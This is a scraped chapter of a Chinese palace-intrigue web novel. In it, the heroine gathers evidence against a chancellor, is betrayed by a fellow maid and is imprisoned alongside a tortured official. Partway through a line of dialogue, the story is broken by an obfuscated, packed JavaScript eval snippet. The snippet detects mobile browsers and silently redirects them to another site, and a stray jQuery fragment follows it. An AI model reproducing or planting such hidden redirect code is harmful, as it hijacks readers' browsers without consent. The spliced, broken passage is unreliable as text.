61. 第 61 章

作品:《系统要我助他成王

    “都是我的错......”芷柔嗓音暗哑,“是我害了她......”


    刘文宣——


    林婉云努力记住这个名字,只有找到这个人,才能掌握国相谋害皇子的证据。


    “芷柔,你听我说。”虽不知事情经过,身为局外人,林婉云竭力劝慰她,“无论你有没有害人之心,你如今受到了惩罚,只要洗心革面,重新做人,一切都能从头来过。”


    “咳咳咳咳——”秋蓉剧烈干呕着,一双眼晦涩不明,额前的发枯黄细碎,她定定地看着林婉云,云里雾里的样子。


    沉浸在过往的回忆里,叨念道:“我,对不起,娘娘。”


    “更对不起......小殿下......”


    两行清泪滑落,滚烫如豆,落在林婉云的手背上,是那样的炙热。


    “好了好了。”林婉云轻言软语安慰她,像哄小孩入睡那般,秋蓉至始至终冷眼旁观,或是目睹芷柔深陷痛楚的样子,忽然间感同身受。


    自己又何尝不是鬼迷心窍,把愤恨加注在娘娘身上,她这样做,与芷柔何异?


    “不哭了,不哭了。”林婉云捧着芷柔的脸,“你要是想为娘娘报仇,你就要告诉我太医的住处,还有他的家人。”


    芷柔啜泣,微微止住哭声,思绪断断续续,时而清醒,时而恐惧。


    磕磕绊绊说出一连串的地名,还有刘文宣的亲属家眷。


    林婉云默念,此时也顾不上秋蓉,取出眉笔和吸油纸,迅速记录下来。


    “你手里是什么东西?”秋蓉明显看到了不属于这个时代的产物,故而反问。


    一味遮掩,容易惹人怀疑,林婉云大大方方拿出来,递给她,“这叫眉笔,是别国的东西。”


    “你为什么会有这个?”秋蓉拿着眉笔,反复细看,除了能在手腕上留下一道黑印,并无任何区别。


    “这东西其实是用来描眉的,我带着方便,所以就随身带着。”说罢,她描了描眉毛。林婉云眉形细长,柳叶弯弯,描补几下便显得俏丽。


    还不忘往秋蓉脸上涂抹,秋蓉堪堪躲过,眼神怪异地看着她。


    这是在冷宫,寻常人莫说晦气,就是半分也不敢靠近的。可她倒好,还有闲心如此。


    林婉云收起嬉皮笑脸的态度,这时的芷柔止住了哭声。


    既然问出太医的下落,她得想办法把消息传递出去。


    “姑奶奶,快出来罢。”


    彼时天蒙蒙亮,周婆子还在门外守着。


    钱财乃流动之物,任何地方都需要,她安置好芷柔,塞了些钱,与秋蓉出了冷宫。


    宫女们起得早,见她二人安然无恙跟着周婆子回来,相顾无解。


    周婆子为了讨好她,不再让她挑水,还是吩咐一个新来的宫女负责打水。


    林婉云见此,还是习惯性帮衬着一把,等到入夜,周婆子来查房,她哎呦一声,叫着肚子疼。


    跑出厢房,直奔茅房而去。


    周婆子被她弄得发昏,果不其然跟了过来。


    “周嬷嬷。”林婉云语气好了很多,不再是咄咄逼人的气势,夹杂着恳求的意味,“只要能帮我出宫,嬷嬷的那些事我可以装作不知道,我决计不会说出去,事成之后,必有报答。”


    她翻出一袋钱,钱袋子里哗哗响,是银子的声音。


    嬷嬷看得眼热,瞄了一眼她手里鼓鼓囊囊的钱袋,吞咽着,“口说无凭,我如何相信?”


    从钱袋里摸出一锭银子,反扣进周婆子手心,“嬷嬷大可放心,我向来说一不二。”


    “您想要的那些东西,我知道在哪里,您要是肯帮我,一切都好说。”她笑起来人畜无害,天真里带着一丝威胁,让人不禁后怕。


    周婆子一把年纪了,宫外的亲人死的死,走的走,要是因为这点小事被赶出宫,那可真是无生路可言。


    更何况,她还在宫里还认了一个干儿子,就等着颐养天年,后半辈子受人孝敬。


    周婆子一咬牙,“我答应姑奶奶,但请姑奶奶也要说到做到。”


    “这是自然。”


    一夜过去,浣衣局的宫女聚在院子里浆洗衣物,林婉云费力转动木柄,将一桶水从井里打上来,周婆子不动声色从旁经过,细声说道:“今夜,子时。”


    她暗道一声好,等到天黑时分。


    趁着众人熟睡,许是心切,林婉云并未留意秋蓉空荡的床铺,院门没上锁,她推门出去,周婆子果然等在外面。


    “都准备好了,姑奶奶快跟我走。”周婆子催促着她。


    林婉云跟着周婆子往小道上走,来了浣衣局的这段日子,一点也不自由,林婉云趁空呼吸新鲜空气。


    亦步亦趋跟着,前方有两个人影挡住了路。


    顿觉诧异,周婆子神色匆匆,未见异常,林婉云小心跟着,却不想被人拦在路途。


    “嬷嬷,这是何故?”


    路道中央的两人折转过身,一个是秋蓉,另一个则是国相身边的心腹。


    下意识想逃,林婉云深知跑不掉,扯出笑容,装傻充愣地说:“好巧啊。”


    周婆子心虚地不敢看她,直往一旁缩,对着侍卫说:“大人,我把人带来了。”


    “下去吧。”周婆子逃似的离开。


    今时今地,她瞬间明白发生了什么,“秋姐姐,你为何要告发我?”林婉云平静说道,笑容凝固。


    “你骗我。”秋蓉幽怨地说,满是愠怒与愤恨,“你跟我说娘娘要接我出去,我等了那么久,始终等不到,你根本是在骗我。”


    “我没有。”林婉云用力反驳,胡贵妃亲口告诉她的,怎会有假。难道是胡贵妃是忘了这茬儿,还是根本不想接秋蓉出来。


    人心难测,林婉云也说不准到底是为什么,只能尽力解释,“不管你信不信,我真的没有骗你。”


    “即便你没有骗我,可你给了我希望,又将这希望踩碎在脚底,这算什么,看我的笑话吗?”一连质问,林婉云即便浑身是嘴,也只觉苍白无力,“秋姐姐,你要我如何证明才能信我?”


    不及答问,自顾自说道:“就算是我骗了你,可你也不该与小人为伍,你这样做,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519069|164090||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    岂不是背叛娘娘,置娘娘于何地?”


    秋蓉不以为耻,冷笑道:“我这样做自然有我的道理。打从我见到你的第一眼,我就不喜欢你,女人的直觉告诉我,你不简单。”


    “大人的确吩咐我暗中监视你,但我从未告发过你。”秋蓉不以为意地说:“所以我一直在等你,等你将一切说清楚。”


    林婉云惊叹于秋蓉的敏锐,登时哑口无言。


    “可你这样做,对你有什么好处?”林婉云忍不住反问。秋蓉不甚在意,“稍解心头之恨罢了。”


    林婉云深呼吸,闭上眼,复又睁开,有点听天由命的意味。


    心腹侍卫招手,从黑暗中走出两个侍卫,上前来将她的手脚绑住,她被押解着从秋蓉身边经过,林婉云艰难地道:“希望你不要后悔。”


    林婉云被打入囚牢,狱中湿寒,常年不见天光。


    侍卫点着火把,将她扔进了一处空荡的囚室,她摔在地上,底下有一层稻草和草席,所以并不疼。似乎有东西从身上爬过,轻巧快速,她在黑暗中抓到活物,鲜活地扭动着,是老鼠。


    她一把扔掉老鼠,连忙取出酒精喷雾和纸巾,擦拭抓过老鼠的手。


    太暗了,什么都看不清,隔壁狱中有锁链擦碰的声响,似乎有人。


    “有人吗?”林婉云小心呼唤着,头顶的天窗漏水,滴滴答答的,一阵窸窸窣窣的动静,她不确定地再次呼喊,“有人吗?”


    重重的咳嗽声传来,月光从罅隙中斜入,照亮角落一瞬。


    火柴棍作为旧时代的用具,用于点火描眉的用途,自然也被系统划分在了美妆领域。


    “没有打火机吗?”


    【打火机不属于美妆产物。】


    好吧,特殊情况特殊处理,幸好还有一张矮方桌,桌上有一盏煤油灯。滴落的煤油将油灯牢牢固定在方桌上,火柴前端的小火苗点燃灯芯,昏暗无光的囚室被暖黄的光源照亮。


    借着微弱的光芒,隔壁囚室里有个人躺在地上,衣衫颜色和地面相近,衣裤都老鼠啃得不成痕迹。


    依稀辨认出是圆领裘袍的官服,林婉云蹲在旁边,呼唤着,“大人,大人?”


    看样子是个文官,但不知为何,会出现在这里。


    文官动动手指头,身上有微弱的呼吸,还有气在。


    林婉云帮不了他,只能呼唤着,“大人请放心,我是四殿下身边的人。”


    文官勉力动弹了两下,像濒死的鱼儿,林婉云无计可施,她的手从囚牢的缝隙出伸出去,努力够到文官的肩膀,然后拖到身边。


    她取出湿纸巾,敷在文官额头上,擦拭起手脚。


    文官清醒了一瞬,睁开沉重的眼睑,“我是薛家大公子薛剑。”


    薛容与的哥哥,林婉云恍然大悟。


    她曾听闻,薛家大公子半年前联名百官上书,请国相交出监国之职,国相自然是不肯,棒打出头鸟,擒贼先擒王。


    薛剑被囚禁在宫中,至今都没有下落。


    原来是被关进了这里,看他身上的伤,应当是受了酷刑。